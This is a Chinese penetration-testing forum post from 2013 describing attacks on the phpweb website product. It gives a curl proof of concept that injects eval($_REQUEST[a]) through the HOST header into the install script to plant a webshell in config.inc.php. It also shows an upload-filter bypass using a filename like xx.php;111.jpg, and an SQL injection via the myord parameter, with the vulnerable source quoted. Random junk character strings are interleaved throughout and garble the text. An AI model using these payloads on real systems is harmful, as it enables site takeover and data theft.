中国网络渗透测试联盟
标题:
phpweb成品网站最新版(注入、上传、写shell)
[打印本页]
作者:
admin
时间:
2013-1-4 19:45
标题:
phpweb成品网站最新版(注入、上传、写shell)
注入:
3 G7 [/ L; [) @2 Y
. d( f; y0 J1 f5 b" N$ U# a
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
7 F7 ]+ D+ e- X& l. v4 |
: O w' B: w# x1 y% `
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
. c8 ], \2 m7 Z L2 ~ e
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
( o- }5 \% r" D/ A( A5 f! i* X
2 W8 s: B, x6 O1 S* G1 r% d
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
2 x( {2 t% N6 S' I3 Y
6 D7 m" w' g, O, e( A M4 @
分析:
& Q4 @% @, k. P) f
' w* v1 c+ {& ^( G4 i% g: O
7 O1 q6 s: f' z/ p. Y
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
! Z1 U& n: `9 k: C2 K: L
9 C! X9 Y3 _" S) C; g/ b) _ u
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
8 t( d1 G- u( D7 d& R+ m
$filestr=str_replace(" ","",$filestr);
( S3 n. o( S% V0 v' a2 N$ J
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
1 a3 N' t+ m2 {" X" a3 g% T# P
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
2 Y: h/ {, X' p- |9 {0 R0 T
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
3 h% S3 z( l' e' u% J" E; ^
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
6 t: W: G) k. V9 m% I+ I
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
! O' p( Z9 v0 P* j \& t; e& b
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
0 N- y8 c# C" G8 J3 _. D. N
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
! F3 _% s$ m' K. I. S
, t/ ~3 {7 Z9 Z1 L3 x
fwrite(fopen($ConFile,"w"),$filestr,30000);
. ?( t; a' s- U& E5 K- F
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
2 R5 d# z$ d% j, @0 a# N
1 _2 a. f6 a# c
poc:
5 S. [: y# H- h! j! l1 [
7 b& F8 O$ A* x1 @" ?$ |
?
F* c! v/ T; @5 g" V
1
9 }. c/ t- j* F
curl
http://fuck.0day5.com/base/install/index.php
--data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
) o1 O/ `% F% @( C1 g! w
shell地址: /config.inc.php
, L, X. I( _* n7 c2 M% a# T
跟之前的 phpcms一样 需要远程数据库
# y% z8 J# O* R- A$ c
4 S& n y: T1 q. ~$ O+ N" c
——————————————————–
+ s# m, R, K& Y; @: N( W# }
上传漏洞(需要进后台):
6 F4 T4 U C( H p+ J4 m0 Y8 W6 R5 C. x6 Z
漏洞文件: /kedit/upload_cgi/upload.php
& h3 D0 g* z# j. j$ n
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
" M2 E' Q7 _: _
2 y" [7 d9 r+ o! X9 D2 Q! g
. |9 _& c' T# a9 s2 \
<?php
+ O- P! ?1 z/ H$ W4 n
define("ROOTPATH", "../../");
& z N! J8 A3 o2 h9 _0 i, M7 i
include(ROOTPATH."includes/admin.inc.php");
8 k9 I& S$ k0 t" M V
NeedAuth(0);
. z6 F: X3 e( i4 U8 w- c2 x
$ w" M5 v" o2 K2 T
$dt=date("Ymd",time());
; n3 T* G6 `( ~3 X* p- e
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
! t/ g! C A: v* D+ P9 [
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
/ x0 g9 C0 A; M+ u
}
# x9 J* y% q8 |# G
% a; ?6 i2 y' Z, Y
//文件保存目录路径
6 }6 c' E$ c5 D$ I/ L7 {
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
! I2 P- F& |, p4 R
echo $save_path;
& o3 q3 x" k, Z" b' d1 H0 `1 A
//文件保存目录URL
% x( n; Z3 a4 Y r" N0 T
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
5 k1 C5 }+ N8 x5 p) W9 G# s) `' e
* l* N: M& l( Q" E, u
//定义允许上传的文件扩展名
: I# o4 [) s8 q9 m! p$ O
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
# k: T& S4 O; A
5 _9 p5 M' \& o' ^( \
//最大文件大小
% Y( |3 G# \8 q6 _
$max_size = 1000000;
, g( f8 Q& v! n6 m1 ~, G
/ X. N) o' {$ k3 _' O+ f
//更改目录权限
' }7 N8 N# p! H9 B
@mkdir($save_path, 0777);
! H/ p4 v6 I3 @- X5 b6 [& c
8 [& ]* W$ ?& C3 V1 A
//文件的全部路径
% d$ z% J% x- o, c$ V! e! f4 N
$file_path = $save_path.$_POST['fileName']; //保存文件名
! w# J( K7 v0 ~2 [, z' P$ j( I
! Y" Q/ U0 m7 l1 p1 V4 j1 q* Y
//文件URL
4 M4 o# F' V$ v- u; z/ s, g
$file_url = $save_url.$_POST['fileName'];
- m/ |6 y7 O; |$ L( P& J4 O9 y' n
//有上传文件时
- G& I* s' [6 L) k
if (empty($_FILES) === false) {
0 i% s; C' O( [* m4 l$ Y; A, z% V
2 ^$ Y3 I( T+ c6 n& R
//原文件名
. N: C( q$ L9 j u6 i
$file_name = $_FILES['fileData']['name'];
8 e7 ]5 c* R: Z6 J* g
//服务器上临时文件名
1 `8 P5 U; \# o& e# ?
$tmp_name = $_FILES['fileData']['tmp_name'];
; {! j3 q: D/ Y$ g: {0 v
//文件大小
4 |2 I' L5 v+ w, L. H1 [
$file_size = $_FILES['fileData']['size'];
i2 f9 h4 ?: W: y. u* o4 W
//检查目录
, j/ r! E' \$ ^4 H" a/ E
if (@is_dir($save_path) === false) {
8 ?5 u% y7 {" |( u0 a( \
alert("上传目录不存在。");
Q2 r0 p6 U; s; J- i
}
6 a/ u6 F- y" B) x# e/ g) D
//检查目录写权限
4 J: R# Z* [. R# ^8 A7 e
if (@is_writable($save_path) === false) {
8 ^2 e1 F/ V% L" m7 w" ?3 i
alert("上传目录没有写权限。");
Z. j. {( d0 i' K9 n1 D
}
+ C6 F- ]0 h9 y9 Z) W ~1 W
//检查是否已上传
# Z, k. B8 [* G9 E m5 b- S
if (@is_uploaded_file($tmp_name) === false) {
8 h5 E: b8 O; Z$ V4 [
alert("临时文件可能不是上传文件。");
' d$ S P7 M, ^2 G3 {( _
}
; e$ P E8 N& e- a+ w( i7 j7 M
//检查文件大小
1 |, \2 J. ]) P# c* [" ~
if ($file_size > $max_size) {
% s8 j4 E7 @, e$ o) i) T" x2 p
alert("上传文件大小超过限制。");
" T2 @2 e0 ]7 A/ j/ c- N* {; t$ L# ?
}
7 q) Q2 j0 L4 X; P9 `
//获得文件扩展名
1 D) E6 g" n* A* {
$temp_arr = explode(".", $_POST['fileName']);
9 k+ Q# ^. g& p6 P
$file_ext = array_pop($temp_arr);
; \: ^7 x3 ~% F
$file_ext = trim($file_ext);
3 R9 D/ Q* h+ @5 L
$file_ext = strtolower($file_ext);
|* x- T, e( z/ o0 G. }
% F8 R+ k2 k- A
//检查扩展名
4 m6 i- g/ J+ ~. u
if (in_array($file_ext, $ext_arr) === false) {
3 c; v/ J! d9 t ?2 v. h/ G
alert("上传文件扩展名是不允许的扩展名。");
! D/ f5 O# D& N& [6 X% D/ e
}
: J% D8 M- Y u- A% Y* T3 s D
! J$ h. v, P7 i6 ~6 L' O" l+ Z
//移动文件
6 w' G5 A1 [! j6 E L% q
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
4 Q5 X! x. N; t
if (move_uploaded_file($tmp_name, $file_path) === false) {
$ M( D/ b% O% A* R% Y8 [* P
alert("上传文件失败。");
, r- Y5 O! i( x4 H$ R
}
( x' g4 g+ D' Q
; r' r' ?! {- C( h4 r. }$ S, K' X
@chmod($file_path,0666);
$ Y/ G5 V( y6 z! [2 V x
; i* Y$ o* f8 w7 Q. [
?>
5 s2 g1 o8 u2 d. l) R! g6 V
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用
http://www.0day5.com/?p=227
7 G Y; C0 y( I) ~' |0 C- D, o9 y+ y
6 a h, M0 V/ W! v8 x
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
3 f7 K7 V: p' Z% L N9 N0 s
2 u! n# J; ~) }1 S
——————————————————
8 ^" F9 w& n0 F
注入漏洞:
: D: j! C1 f# d5 A5 H6 ~' X. R8 i1 s
漏洞文件:search/module/search.php
& u$ K/ S/ y7 j3 B9 A4 G
/search/index.php?key=1&myord=1 [sqlinjection]
# e5 q, V7 U W* g) `
. F8 t7 W R( o) B" N6 ?/ y
) m: f- K/ d, |. V
<?php
7 ~4 [6 |0 B" J2 b7 k) ^- h
// ... 省略 n 行...
( r' t- S8 E) r) L, _
//第18行:
1 ` i- W- b" I! o: p
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
+ S- K& u4 t8 }: C: V% L$ Y
$page=htmlspecialchars($_GET["page"]);
2 [* C( C2 R# J. e/ b
$myord=htmlspecialchars($_GET["myord"]);
5 M8 W9 X9 b# F: O# E* a- ?4 y8 k
% n1 h3 l4 T9 G3 K5 J3 ^+ X& |, J
// ... 省略 n 行...
2 F+ O, }$ j9 ~3 p( r+ ]" o
$key,$myord 两个参数带入查询
% X- C" |! G/ b; o( q1 n4 ?, P0 W
//第47行 $key:
8 d& X' b4 X7 I8 \
9 H4 y* s; }5 B8 M# ]7 L
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
) v7 ~7 T& @" s W2 c& @. n- v
' q9 v) ^1 G+ H9 c5 i+ [( O3 ^
//第197行 $myord
$ a* `# t* J- x* Y0 a
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
: A$ h+ g9 K# F9 o, M( f
8 e. }5 T& I2 G8 J! r% [0 \
?>
5 t( V- p( o& h% l; ~+ E" \
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2